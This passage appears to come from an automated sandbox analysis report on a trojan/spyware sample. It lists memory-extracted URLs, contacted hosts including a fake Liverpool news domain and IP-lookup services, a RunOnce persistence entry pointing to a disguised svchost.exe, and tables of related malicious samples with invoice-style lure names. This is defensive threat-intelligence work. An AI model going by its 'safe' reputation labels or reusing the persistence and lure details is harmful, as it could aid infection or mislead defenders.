https://www.liverpool.com/liverpool-fc-news/featuresnC	lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.524562534.0000000004EFD000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000005.00000002.526440831.00000000049BB000.00000004.00000001.sdmp, powershell.exe, 00000007.00000002.524562534.0000000004EFD000.00000004.00000001.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.524562534.0000000004EFD000.00000004.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166	lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000009.00000002.535629582.0000000005713000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer-weghorst	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://reachplc.hub.loginradius.com"	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_GettyImages-1304940818.	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://s2-prod.liverpool.com	lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816	lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://%s.xboxlive.com	svchost.exe, 00000014.00000002.502117639.000001DDF383E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s270b/0_GettyImages-1231353837	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.524562534.0000000004EFD000.00000004.00000001.sdmp	false		high
https://i2-prod.liverpool.com	lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://felix.data.tm-awx.com/felix.min.js	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s180/0_Salah-Goal-vs-Leeds.jpg	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s270b/0_RobertsonCross1.jpg	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s458/0_GettyImages-1273716690.	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/ozan-kabak	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000005.00000002.526440831.00000000049BB000.00000004.00000001.sdmp, powershell.exe, 00000007.00000002.524562534.0000000004EFD000.00000004.00000001.sdmp	false		high
https://s2-prod.mirror.co.uk/	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://myliverpoolnews.cf/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-	lfQuSBwdSf.exe, 00000000.00000002.344997356.00000000030C1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-02-	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/champions-league	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/curtis-jones	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/steven-gerrard	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-ozan-kabak-future-audition-19954616	lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s458/1_WhatsApp-Image-2021-03-	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-penalties-premier-league-var-17171391	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schema.org/NewsArticle	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false		high
https://www.liverpool.com/schedule/	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features	lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schema.org/BreadcrumbList	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false		high
https://securepubads.g.doubleclick.net/tag/js/gpt.js	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000009.00000002.535629582.0000000005713000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://s2-prod.liverpool.com/	lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-champions-league-jurgen-klopp-1996194	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s220b/0_GettyImages-1231353837	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s458/0_GettyImages-1302496803.	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://myliverpoolnews.cf4&l	lfQuSBwdSf.exe, 00000000.00000002.345654171.00000000030F0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://felix.data.tm-awx.com/ampconfig.json"	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s615/0_GettyImages-1273716690.	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s270b/0_Salah-Pressing.jpg	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s615/0_Salah-Goal-vs-Leeds.jpg	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s270b/0_WhatsApp-Image-2021-02	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s220b/0_RobertsonCross1.jpg	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-andy-robertson-valuable-quality-19946	lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-jurgen-klopp-pressing-tactics-1993836	lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s615/0_Salah-Pressing.jpg	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schema.org/ListItem	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false		high
https://www.liverpool.com/all-about/georginio-wijnaldum	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://mab.data.tm-awx.com/rhs"	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s180/0_GettyImages-1231353837.	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://felix.data.tm-awx.com	lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000009.00000002.535629582.0000000005713000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/andrew-robertson	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article17166876.ece/ALTERNATES/s615/0_GettyImages-1175998874.	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-gini-wijnaldum-rumours-fitness-199533	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish-199590	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s180/0_GettyImages-1304940818.	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://myliverpoolnews.cf	lfQuSBwdSf.exe, 00000000.00000002.344997356.00000000030C1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.liverpool.com/all-about/transfers	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/rhian-brewster-liverpool-arsenal-team-17172763&	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
162.88.193.70	checkip.dyndns.com	United States	33517	DYNDNSUS	false
104.21.56.119	myliverpoolnews.cf	United States	13335	CLOUDFLARENETUS	false
172.67.188.154	freegeoip.app	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	383847
Start date:	08.04.2021
Start time:	11:00:51
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 19m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	lfQuSBwdSf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@49/25@11/5
EGA Information:	Failed
HDC Information:	Successful, ratio: 6.8% (good quality ratio 1.4%) Quality average: 11.3% Quality standard deviation: 23.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 296 Number of non-executed functions: 4
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, WerFault.exe, backgroundTaskHost.exe, SgrmBroker.exe Excluded IPs from analysis (whitelisted): 23.54.113.53, 52.255.188.83, 40.88.32.150, 104.43.193.48, 95.100.54.203, 168.61.161.212, 20.82.210.154, 13.64.90.137, 93.184.221.240, 23.10.249.26, 23.10.249.43, 13.88.21.125, 20.54.26.129, 20.50.102.62, 52.155.217.156 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, wu.azureedge.net, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, audownload.windowsupdate.nsatc.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, wu.wpc.apr-52dd2.edgecastdns.net, consumerrp-displaycatalog-aks2eap.md.mp.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu.ec.azureedge.net, ris-prod.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, e1723.g.akamaiedge.net, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus15.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:02:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce wyreCRIln C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe
11:02:04	API Interceptor	2x Sleep call for process: svchost.exe modified
11:02:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce wyreCRIln C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe
11:02:38	API Interceptor	1x Sleep call for process: WerFault.exe modified
11:02:55	API Interceptor	130x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.88.193.70	RFQ 100400806 SUPPLY.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	SER09090899.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	MUYR09080.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	PURCHASE ORDER-34002174, pdf.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Order CG-210331-1004.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Invoice,PDF.exe.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	ej 9999999.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	DHL FINAL REMINDER PDF.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Statement For Month..exe	Get hash	malicious	Browse	checkip.dyndns.org/
	New Revised.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	PO_3351_60_20.doc	Get hash	malicious	Browse	checkip.dyndns.org/
	SMA0908800.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	SecuriteInfo.com.ArtemisCEDC6E147EF2.27473.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	NEW ORDER.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	INV0000075.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	SWIFT COPY.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	tRuJwJgMos.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	RfTQP.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	Payment advice IMG_417_302_680.exe	Get hash	malicious	Browse	checkip.dyndns.org/
	A7aLfLs0oa.exe	Get hash	malicious	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
myliverpoolnews.cf	RFQ-034.exe	Get hash	malicious	Browse	104.21.56.119
	ACdEbpiSYO.exe	Get hash	malicious	Browse	172.67.150.212
	Invoice_ord00000009.exe	Get hash	malicious	Browse	172.67.150.212
	kayo.exe	Get hash	malicious	Browse	172.67.150.212
	new_order20210408_14.doc	Get hash	malicious	Browse	172.67.150.212
	BL01345678053567.exe	Get hash	malicious	Browse	104.21.56.119
	new_order20210408_14.doc	Get hash	malicious	Browse	172.67.150.212
	DHLdocument11022020680908911.exe	Get hash	malicious	Browse	172.67.150.212
	20200804-8293847pdf.scr.exe	Get hash	malicious	Browse	104.21.56.119
	234d9ec1757404f8fd9fbb1089b2e50c08c5119a2c0ab.exe	Get hash	malicious	Browse	172.67.150.212
	items list.doc	Get hash	malicious	Browse	172.67.150.212
	SKMC25832100083932157.jar	Get hash	malicious	Browse	104.21.56.119
	SecuriteInfo.com.Artemis34DBCAD2CB5A.27289.exe	Get hash	malicious	Browse	104.21.56.119
	Krishna Gangaa Enviro System Pvt Ltd.exe	Get hash	malicious	Browse	172.67.150.212
	PO75773937475895377.exe	Get hash	malicious	Browse	104.21.56.119
	New Order.exe	Get hash	malicious	Browse	104.21.56.119
	SecuriteInfo.com.Artemis5C44BBDCCDFF.4370.exe	Get hash	malicious	Browse	172.67.150.212
	RFQ #46200058149.exe	Get hash	malicious	Browse	172.67.150.212
	Payment Slip E05060_47.doc	Get hash	malicious	Browse	104.21.56.119
	New Orders.exe	Get hash	malicious	Browse	172.67.150.212
freegeoip.app	PURCHASE ORDER - XIFFA55,pdf.exe	Get hash	malicious	Browse	172.67.188.154
	PRICE_QUOTATION_RFQ_000988_PDF.exe	Get hash	malicious	Browse	172.67.188.154
	RFQ 100400806 SUPPLY.exe	Get hash	malicious	Browse	172.67.188.154
	SER09090899.exe	Get hash	malicious	Browse	172.67.188.154
	PURCHASE ORDER-34002174,pdf.exe	Get hash	malicious	Browse	172.67.188.154
	cricket.exe	Get hash	malicious	Browse	104.21.19.200
	SecuriteInfo.com.Artemis34DBCAD2CB5A.27289.exe	Get hash	malicious	Browse	172.67.188.154
	EMPRESA SUMPEX TRADE.exe	Get hash	malicious	Browse	104.21.19.200
	Yeni siparis _WJO-001, pdf.exe	Get hash	malicious	Browse	172.67.188.154
	Dringende RFQ_AP75887658_98788,pdf.exe	Get hash	malicious	Browse	172.67.188.154
	MUYR09080.exe	Get hash	malicious	Browse	104.21.19.200
	PURCHASE ORDER-34002174, pdf.exe	Get hash	malicious	Browse	104.21.19.200
	Order CG-210331-1004.exe	Get hash	malicious	Browse	104.21.19.200
	Yeni siparis _WJO-001, pdf.exe	Get hash	malicious	Browse	172.67.188.154
	Invoice,PDF.exe.exe	Get hash	malicious	Browse	104.21.19.200
	Payment Slip E05060_47.doc	Get hash	malicious	Browse	172.67.188.154
	PROFORMA INVOICE.exe	Get hash	malicious	Browse	104.21.19.200
	Confirmation_(#1422) DEKRA order,pdf.exe	Get hash	malicious	Browse	104.21.19.200
	ATTACHED.exe	Get hash	malicious	Browse	172.67.188.154
	Urgent RFQ_AP65425652_040621,pdf.exe	Get hash	malicious	Browse	104.21.19.200

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	AQJEKNHnWK.exe	Get hash	malicious	Browse	23.227.38.74
	hvEop8Y70Y.exe	Get hash	malicious	Browse	172.67.219.254
	RFQ-034.exe	Get hash	malicious	Browse	104.21.56.119
	ACdEbpiSYO.exe	Get hash	malicious	Browse	172.67.150.212
	PURCHASE ORDER - XIFFA55,pdf.exe	Get hash	malicious	Browse	172.67.188.154
	Invoice_ord00000009.exe	Get hash	malicious	Browse	172.67.150.212
	PRICE_QUOTATION_RFQ_000988_PDF.exe	Get hash	malicious	Browse	172.67.188.154
	kayo.exe	Get hash	malicious	Browse	172.67.150.212
	nicoleta.fagaras-DHL_TRACKING_1394942.html	Get hash	malicious	Browse	104.16.18.94
	000OUTQ080519103.pdf.exe	Get hash	malicious	Browse	172.67.164.131
